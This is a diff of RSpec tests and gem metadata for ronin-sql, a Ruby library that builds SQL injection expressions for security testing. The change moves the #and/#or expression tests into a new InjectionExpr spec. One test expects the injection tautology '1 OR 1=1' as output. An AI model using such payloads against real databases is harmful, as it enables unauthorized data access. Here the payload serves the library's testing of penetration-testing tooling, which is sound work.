describe "#and" do
|
10
|
+
context "on first call" do
|
11
|
+
before { subject.and { 1 } }
|
12
|
+
|
13
|
+
it "should create a 'AND' BinaryExpr" do
|
14
|
+
subject.expression.operator.should == :AND
|
15
|
+
end
|
16
|
+
|
17
|
+
it "should create an expression with the initial value" do
|
18
|
+
subject.expression.left.should == initial_value
|
19
|
+
end
|
20
|
+
|
21
|
+
it "should create an expression with the expression" do
|
22
|
+
subject.expression.right.should == 1
|
23
|
+
end
|
24
|
+
end
|
25
|
+
|
26
|
+
context "on multiple calls" do
|
27
|
+
before { subject.and { 1 }.and { 2 } }
|
28
|
+
|
29
|
+
it "should create another 'AND' BinaryExpr" do
|
30
|
+
subject.expression.operator.should == :AND
|
31
|
+
end
|
32
|
+
|
33
|
+
it "should nest the expressions" do
|
34
|
+
subject.expression.left.right.should == 1
|
35
|
+
subject.expression.right.should == 2
|
36
|
+
end
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
describe "#or" do
|
41
|
+
context "on first call" do
|
42
|
+
before { subject.or { 1 } }
|
43
|
+
|
44
|
+
it "should create a 'OR' BinaryExpr" do
|
45
|
+
subject.expression.operator.should == :OR
|
46
|
+
end
|
47
|
+
|
48
|
+
it "should create an expression with the initial value" do
|
49
|
+
subject.expression.left.should == initial_value
|
50
|
+
end
|
51
|
+
|
52
|
+
it "should create an expression with the expression" do
|
53
|
+
subject.expression.right.should == 1
|
54
|
+
end
|
55
|
+
end
|
56
|
+
|
57
|
+
context "on multiple calls" do
|
58
|
+
before { subject.or { 1 }.or { 2 } }
|
59
|
+
|
60
|
+
it "should create another 'OR' BinaryExpr" do
|
61
|
+
subject.expression.operator.should == :OR
|
62
|
+
end
|
63
|
+
|
64
|
+
it "should nest the expressions" do
|
65
|
+
subject.expression.left.right.should == 1
|
66
|
+
subject.expression.right.should == 2
|
67
|
+
end
|
68
|
+
end
|
69
|
+
end
|
70
|
+
|
71
|
+
describe "#to_sql" do
|
72
|
+
context "without additional expressions" do
|
73
|
+
subject { described_class.new(1) }
|
74
|
+
|
75
|
+
it "should still emit the initial value" do
|
76
|
+
subject.to_sql.should == '1'
|
77
|
+
end
|
78
|
+
end
|
79
|
+
|
80
|
+
context "with an additional expression" do
|
81
|
+
subject do
|
82
|
+
sqli = described_class.new(1)
|
83
|
+
sqli.or { 1 == 1 }
|
84
|
+
sqli
|
85
|
+
end
|
86
|
+
|
87
|
+
it "should emit the expression" do
|
88
|
+
subject.to_sql.should == '1 OR 1=1'
|
89
|
+
end
|
90
|
+
|
91
|
+
context "when given emitter options" do
|
92
|
+
it "should accept additional options" do
|
93
|
+
subject.to_sql(case: :lower).should == '1 or 1=1'
|
94
|
+
end
|
95
|
+
end
|
96
|
+
end
|
97
|
+
end
|
98
|
+
end
|
data/spec/sql/injection_spec.rb
CHANGED
@@ -36,8 +36,9 @@ describe SQL::Injection do
|
|
36
36
|
|
37
37
|
subject { described_class.new(:place_holder => data) }
|
38
38
|
|
39
|
-
|
40
|
-
|
39
|
+
it "should pass it to the InjectionExpr" do
|
40
|
+
subject.expression.expression.should == data
|
41
|
+
end
|
41
42
|
end
|
42
43
|
|
43
44
|
context "when a block is given" do
|
@@ -49,68 +50,6 @@ describe SQL::Injection do
|
|
49
50
|
end
|
50
51
|
end
|
51
52
|
|
52
|
-
describe "#and" do
|
53
|
-
context "on first call" do
|
54
|
-
before { subject.and { 1 } }
|
55
|
-
|
56
|
-
it "should create a 'AND' BinaryExpr" do
|
57
|
-
subject.expression.operator.should == :AND
|
58
|
-
end
|
59
|
-
|
60
|
-
it "should create an expression with the place-holder" do
|
61
|
-
subject.expression.left.should == subject.place_holder
|
62
|
-
end
|
63
|
-
|
64
|
-
it "should create an expression with the expression" do
|
65
|
-
subject.expression.right.should == 1
|
66
|
-
end
|
67
|
-
end
|
68
|
-
|
69
|
-
context "on multiple calls" do
|
70
|
-
before { subject.and { 1 }.and { 2 } }
|
71
|
-
|
72
|
-
it "should create another 'AND' BinaryExpr" do
|
73
|
-
subject.expression.operator.should == :AND
|
74
|
-
end
|
75
|
-
|
76
|
-
it "should nest the expressions" do
|
77
|
-
subject.expression.left.right.should == 1
|
78
|
-
subject.expression.right.should == 2
|
79
|
-
end
|
80
|
-
end
|
81
|
-
end
|
82
|
-
|
83
|
-
describe "#or" do
|
84
|
-
context "on first call" do
|
85
|
-
before { subject.or { 1 } }
|
86
|
-
|
87
|
-
it "should create a 'OR' BinaryExpr" do
|
88
|
-
subject.expression.operator.should == :OR
|
89
|
-
end
|
90
|
-
|
91
|
-
it "should create an expression with the place-holder" do
|
92
|
-
subject.expression.left.should == subject.place_holder
|
93
|
-
end
|
94
|
-
|
95
|
-
it "should create an expression with the expression" do
|
96
|
-
subject.expression.right.should == 1
|
97
|
-
end
|
98
|
-
end
|
99
|
-
|
100
|
-
context "on multiple calls" do
|
101
|
-
before { subject.or { 1 }.or { 2 } }
|
102
|
-
|
103
|
-
it "should create another 'OR' BinaryExpr" do
|
104
|
-
subject.expression.operator.should == :OR
|
105
|
-
end
|
106
|
-
|
107
|
-
it "should nest the expressions" do
|
108
|
-
subject.expression.left.right.should == 1
|
109
|
-
subject.expression.right.should == 2
|
110
|
-
end
|
111
|
-
end
|
112
|
-
end
|
113
|
-
|
114
53
|
describe "#to_sql" do
|
115
54
|
context "without an expression" do
|
116
55
|
subject { described_class.new(place_holder: 1) }
|
data/spec/sql/operators_spec.rb
CHANGED
@@ -25,7 +25,7 @@ describe SQL::Operators do
|
|
25
25
|
include_examples "BinaryExpr", :!=
|
26
26
|
include_examples "BinaryExpr", :as, :AS
|
27
27
|
include_examples "BinaryExpr", :is, :IS
|
28
|
-
include_examples "BinaryExpr", :is_not, :
|
28
|
+
include_examples "BinaryExpr", :is_not, [:IS, :NOT]
|
29
29
|
include_examples "BinaryExpr", :like, :LIKE
|
30
30
|
include_examples "BinaryExpr", :glob, :GLOB
|
31
31
|
include_examples "BinaryExpr", :match, :MATCH
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: ronin-sql
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.
|
4
|
+
version: 1.1.0
|
5
5
|
prerelease:
|
6
6
|
platform: ruby
|
7
7
|
authors:
|
@@ -9,7 +9,7 @@ authors:
|
|
9
9
|
autorequire:
|
10
10
|
bindir: bin
|
11
11
|
cert_chain: []
|
12
|
-
date: 2013-01-
|
12
|
+
date: 2013-01-22 00:00:00.000000000 Z
|
13
13
|
dependencies:
|
14
14
|
- !ruby/object:Gem::Dependency
|
15
15
|
name: bundler
|
@@ -78,6 +78,7 @@ files:
|
|
78
78
|
- lib/ronin/sql/function.rb
|
79
79
|
- lib/ronin/sql/functions.rb
|
80
80
|
- lib/ronin/sql/injection.rb
|
81
|
+
- lib/ronin/sql/injection_expr.rb
|
81
82
|
- lib/ronin/sql/literal.rb
|
82
83
|
- lib/ronin/sql/literals.rb
|
83
84
|
- lib/ronin/sql/operators.rb
|
@@ -102,6 +103,7 @@ files:
|
|
102
103
|
- spec/sql/function_examples.rb
|
103
104
|
- spec/sql/function_spec.rb
|
104
105
|
- spec/sql/functions_spec.rb
|
106
|
+
- spec/sql/injection_expr_spec.rb
|
105
107
|
- spec/sql/injection_spec.rb
|
106
108
|
- spec/sql/literal_spec.rb
|
107
109
|
- spec/sql/literals_spec.rb
|